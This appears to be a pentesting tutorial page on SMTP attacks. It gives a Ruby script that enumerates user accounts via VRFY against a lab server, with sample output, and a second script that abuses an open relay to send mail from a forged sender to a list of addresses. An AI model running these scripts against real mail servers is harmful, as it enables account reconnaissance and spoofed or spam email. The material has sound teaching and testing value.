SMTP Enumeration

SMTP email address enumeration

Interacting with SMTP is easy and since the protocol is straight forward. We can use the VRFY command to check if an email address exists or not:

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'socket'
users =
%w{
root rubyfu www apache2 bin daemon sshd
gdm nobody ftp operator postgres mysqld
}
found = []
@s = TCPSocket.new('192.168.0.19', 25)
@banner = @s.recv(1024).chomp
users.each do |user|
@s.send "VRFY #{user} \n\r", 0
resp = @s.recv(1024).chomp
found << user if resp.split[2] == user
end
@s.close
puts "[*] Result:-"
puts "[+] Banner: " + @banner
puts "[+] Found users: \n#{found.join("\n")}"

Results

[*] Result:-
[+] Banner: 220 VulnApps.localdomain ESMTP Postfix
[+] Found users:
root
rubyfu
www
bin
daemon
sshd
gdm
nobody
ftp
operator
postgres

Your turn, there are other commands that can be used such as EXPN, RCPT. Enhance the above script to include all these commands to avoid restricted commands that might you face. More SMTP commands are listed here.

SMTP open relay abuse

SMTP not protected by authentication can be abused to send emails from anyone:

#!/usr/bin/env ruby
require 'socket'
users = File.read('emails.txt').split("\n")
@s = TCPSocket.new('example.org', 25)
@banner = @s.recv(1024).chomp
users.each do |user|
@s.send "MAIL from:noraj@example.org \n\r", 0
@s.send "RCPT to:#{user} \n\r", 0
@s.send "DATA \n\r", 0
@s.send "email body here \r\n.\r\n", 0
resp = @s.recv(1024).chomp
puts resp
end
@s.close
puts "[*] Result:-"
puts "[+] Banner: " + @banner